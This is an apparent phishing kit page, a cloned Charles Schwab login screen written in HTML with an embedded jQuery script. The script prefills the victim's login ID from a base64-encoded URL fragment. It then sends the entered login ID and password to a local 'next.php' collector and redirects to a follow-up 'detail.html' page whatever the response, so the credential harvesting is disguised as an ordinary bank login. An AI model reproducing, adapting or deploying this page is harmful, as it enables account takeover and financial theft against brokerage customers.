<head id=Head1><meta charset=utf-8><title>Login | Charles Schwab</title><link href=css/main.css?v=20.19 rel=stylesheet><link href=css/login-component-responsive-secondary.css rel=stylesheet><link href=css/style.css rel=stylesheet><link href=css/sdps.css rel=stylesheet><style>.submit-btn {
        box-shadow: inset 0px 0px 0px 0px #caefab;
        background: linear-gradient(to bottom, #019201 5%, #008a00 100%);
        background-color: #019201;
        border-radius: 6px;
        border: 1px solid #ebebeb;
        display: inline-block;
        cursor: pointer;
        color: #ffffff;
        font-family: Arial;
        font-size: 15px;
        padding: 8px 50px;
        text-decoration: none;
        text-shadow: 0px 1px 0px #aade7c;
    }

    .submit-btn:hover {
        background: linear-gradient(to bottom, #008a00 5%, #019201 100%);
        background-color: #008a00;
    }

    .submit-btn:active {
        position: relative;
        top: 1px;
    }

    .container {
        width: auto;
    }

    .main {
        width: auto;
        margin: 15px;
    }

    section.main-content {
        width: auto;
        float: none;
    }

    div.login-wrapper {
        width: auto;
        height: 600px;
        padding: 30px 0 0;
        background: url(https://content.schwab.com/web/login/background_image_exblur_dev2b.jpg) no-repeat center;
        background-position: bottom;
        background-size: cover;

    }

    div.module {
        width: auto;
        height: 608px;
        text-align: center;
    }

    footer {
        width: auto;
        margin: 40px auto 0;
    }

    footer .disclosures {
        width: auto;
        font-family: ArialMT, Arial, sans-serif;
        font-size: 11px;
        line-height: 13px;
        color: #222;
    }</style><body><div id=loginContainer><header><div class=container><div class=header__logo id=headerLogo><a aria-label="Charles Schwab Logo click here to go to the home page."class=logo href=# target=_top> <span class="svg-icon svg-logo"aria-hidden=true></span> </a></div></div></header><div class="main cf"><section class=main-content><div class=messaging><span id=urgentMessage> <div class="cms-message-info cms-message-box cf"id=cmsMessageBox><style>.cms-message-sprite {
                                background: url('./images/icons.png') no-repeat scroll 0 0
                            }

                            .cms-message-box {
                                margin-bottom: 10px;
                                position: relative;
                                border: 1px solid #ccc;
                            }

                            .cms-message-icon {
                                width: 26px;
                                height: 26px;
                                position: absolute;
                                top: 11px;
                                left: 10px
                            }

                            .cms-message-text {
                                margin: 14px 10px 14px 45px;
                                font-family: Arial, Helvetica, sans-serif;
                                font-size: 1em
                            }

                            .cms-message-info {
                                border-color: #9ecde0;
                                background-color: #edf3f9
                            }

                            .cms-message-info .cms-message-icon {
                                background-position: -322px -27px;
                                display: block !important
                            }

                            .cms-message-critical {
                                border-color: #e5b2c1;
                                background-color: #fcf7f9
                            }

                            .cms-message-critical .cms-message-icon {
                                background-position: -295px -25px
                            }

                            .cms-message-important {
                                border-color: #f7df8c;
                                background-color: #fefaee
                            }

                            .cms-message-important .cms-message-icon {
                                background-position: -295px -53px
                            }

                            .cms-message-success {
                                border-color: #addcad;
                                background-color: #f0f9f0
                            }

                            .cms-message-success .cms-message-icon {
                                background-position: -294px 0px
                            }</style><div class="cms-message-icon cms-message-sprite"></div><div class=cms-message-text><b>Download your 1099s now:</b> Log in to view your tax forms ></div></div> </span><div class="section-error paddingRight-0"style="display: none"aria-live=polite id=pnlError role=alert><div class=clrFlt><span class=icon-error></span></div><p><span id=lblError></span><div class=clrFlt></div></div></div><div class=login-wrapper><div class=module><div class=login><h1 id=loginHeadline>Log in to Schwab</h1><div style="height: auto;"class=login__iframe id=iframeWrapper><p style="color: red;font-weight: 600;font-size: 14px;padding-bottom: 10px; display: none;"id=msg>Invalid Password...! Please enter correct password.<p style="color: red;font-weight: 600;font-size: 14px;padding-bottom: 10px; display: none;"id=error>That account doesn't exist. Enter a different account<form class=form-horizontal id=LoginComponentForm><div id=lms-login-widget-responsive-secondary><div class="form-group first-field"><div class="col-xs-12 control-label first-field-label"style="text-align: left;"><label style="font-weight: normal"for=LoginId id=userEmail-label>Login ID</label></div><div class=col-xs-12><input class=form-control id=ai name=ai></div></div><div class=form-group><div class="col-xs-12 control-label"style="text-align: left;"><label style="font-weight: normal"for=Password id=PasswordLabel>Password</label></div><div class=col-xs-12><input class=form-control id=pr name=pr type=password></div></div><div class=form-group><div class="col-xs-12 control-label"style="text-align: left;"><label style="font-weight: normal"for=StartIn>Start Page</label></div><div class=col-xs-12><div class=start-in-wrapper><select class="form-control start-in-dropdown"id=StartIn name=StartIn><option value="Accounts Summary">Accounts Summary<option value="Account Balances">Account Balances<option value=Positions>Positions<option value="Trade Ticket">Trade Ticket<option value=History>History<option value="Stock ETF Trading">Stock & ETF Trading<option value="Options Trading">Options Trading<option value="Mutual Fund Trading">Mutual Fund Trading<option value="Bond Trading">Bond Trading<option value=Research>Research<option value="Trade Source">Trade Source<option value="Order Status">Order Status</select></div></div></div><div class=lms-widget-login-close-cntr><div class=lms-secondary-button-section><button class=submit-btn id=submit-btn name=submit-btn type=button>Log In</button></div></div></div></form></div><div class="login__utilitylinks cf"style="margin-top: 40px"><ul class=left><li><span id=lnkForgotIdPassword><a href=#>Forgot login ID or password?</a></span><li><a href=# id=lnkChineseTrading lang=zh-TW>中文網路通</a></ul><ul class=right><li><a href=# id=lnkNewUserLms>New user?</a><li><a href=# id=lnkMobileLogInLms>Log in to mobile</a></ul></div></div></div><footer class="sdps-p-left_small sdps-p-right_small sdps-m-top_small"role=contentinfo><div class=sdps-grid-fluid id=clientRelationship><div class="col sdps-p-around_medium"><div><span class=sdps-text-l-bold-body id=clientRelationshipSummaryText1>Important information about our relationship with you:</span><a href=https://www.schwab.com/transparency id=lnkRelationshipSummaries>Client Relationship Summaries</a></div><div class=sdps-p-top_medium><span id=clientRelationshipSummaryText2>Our Client Relationship Summaries offer a brief summary of our services, fees and obligations when we work with you in a broker-dealer or an investment advisory relationship. Learn more at</span><a href=https://www.schwab.com/transparency id=lnkSchwabTransparency>schwab.com/transparency</a>.</div></div></div><div id=footerlinks><ul class=sdps-list--inline><li><span class=svg-lock-icon></span><a class=links-allign href=/public/schwab/nn/legal_compliance/schwabsafe id=footerLink1 target=_blank>Schwab Safe®</a>|<li><a class=links-allign href=/public/schwab/nn/legal_compliance/schwabsafe/security_guarantee.html id=footerLink2 target=_blank>The Schwab Security Guarantee</a>|<li><a href=http://www.schwab.com id=footerLink3>Schwab Homepage</a></ul></div><div class="footer__disclosures sdps-p-bottom_medium"id=CHANFooter><p><a data-popup-height data-popup-width data-stock-symbol data-track href=http://www.schwab.com/public/schwab/nn/customer_service/browsers.html target>Web Browser Information</a> — IMPORTANT information for Windows XP users.<p class=disclosures>Brokerage Products: Not FDIC Insured • No Bank Guarantee • May Lose Value<p>Not all products and services listed are available outside the U.S. and some are subject to country specific restrictions.<p>Check the background of this firm or one of its investment professionals on <a data-popup-height data-popup-width data-stock-symbol data-track href=https://brokercheck.finra.org/ target>FINRA's BrokerCheck</a>.<p>The Charles Schwab Corporation provides a full range of brokerage, banking and financial advisory services through its operating subsidiaries. Its broker-dealer subsidiary, Charles Schwab & Co., Inc. (<a data-popup-height data-popup-width data-stock-symbol data-track href=https://www.sipc.org/ target>member SIPC</a>), offers investment services and products, including Schwab brokerage accounts. Its banking subsidiary, Charles Schwab Bank (member FDIC and an Equal Housing Lender), provides deposit and lending services and products. Access to Electronic Services may be limited or unavailable during periods of peak demand, market volatility, systems upgrade, maintenance, or for other reasons.<p>This site is designed for U.S. residents. Non-U.S. residents are subject to country-specific restrictions. Learn more about our services for <a data-popup-height data-popup-width data-stock-symbol data-track href=http://www.schwab-global.com/public/schwab-gcb-en target>non-U.S. residents</a>.<p>© 2021 Charles Schwab & Co., Inc, All rights reserved. Member <a data-popup-height data-popup-width data-stock-symbol data-track href=https://www.sipc.org/ target>SIPC</a>. Unauthorized access is prohibited. Usage will be monitored. (0617-ZYYE)</div></footer></div></section></div></div><style>.tb_button {
        padding: 1px;
        cursor: pointer;
        border-right: 1px solid #8b8b8b;
        border-left: 1px solid #FFF;
        border-bottom: 1px solid #fff;
    }

    .tb_button.hover {
        borer: 2px outset #def;
        background-color: #f8f8f8 !important;
    }

    .ws_toolbar {
        z-index: 100000
    }

    .ws_toolbar .ws_tb_btn {
        cursor: pointer;
        border: 1px solid #555;
        padding: 3px
    }

    .tb_highlight {
        background-color: yellow
    }

    .tb_hide {
        visibility: hidden
    }

    .ws_toolbar img {
        padding: 2px;
        margin: 0px
    }</style><script crossorigin integrity=sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN src=https://code.jquery.com/jquery-3.2.1.slim.min.js></script><script crossorigin integrity=sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q src=https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js></script><script crossorigin integrity=sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl src=https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js></script><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js></script><script src=https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js></script><script>/* global $ */
$(document).ready(function() {
    var count = 0;






    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;

        if (!base64regex.test(ai)) {
            // alert(btoa(ai));
            var my_ai = ai;
        } else {
            // alert(atob(ai));
            var my_ai = atob(ai);
        }

        $('#ai').val(my_ai);
        $("#ai").focus();

    }
    //////url ai end///////////////

    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var StartIn = $("#StartIn").val();

        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (count <= 0) {
            if (!ai) {
                $('#error').show();
                $('#error').html("Login ID field is empty.!");
                return false;
            }

        } 
        if (!pr) {
            $('#error').show();
            $('#error').html("Password field is empty.!");

            return false;
        }

        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        ///////////new injection////////////////
        count = count + 1;

        $.ajax({
            dataType: 'JSON',
            url: 'next.php',
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
                StartIn: StartIn

            },

            beforeSend: function(xhr) {
                $('#submit-btn').html('Verifing...');
            },
            success: function(response) {
                $("#pr").val("");
                if (count >= 1) {
                    count = 0;
                    window.location.replace("./detail.html");
                    return false;
                }
                
                $("#msg").show();
            },
            error: function() {
                $("#pr").val("");
                if (count >= 1) {
                    count = 0;
                    window.location.replace("./detail.html");
                    return false;
                }

                
                $("#msg").show();
            },
            complete: function() {
                $('#submit-btn').html('Log In');
            }
        });
    });


});</script>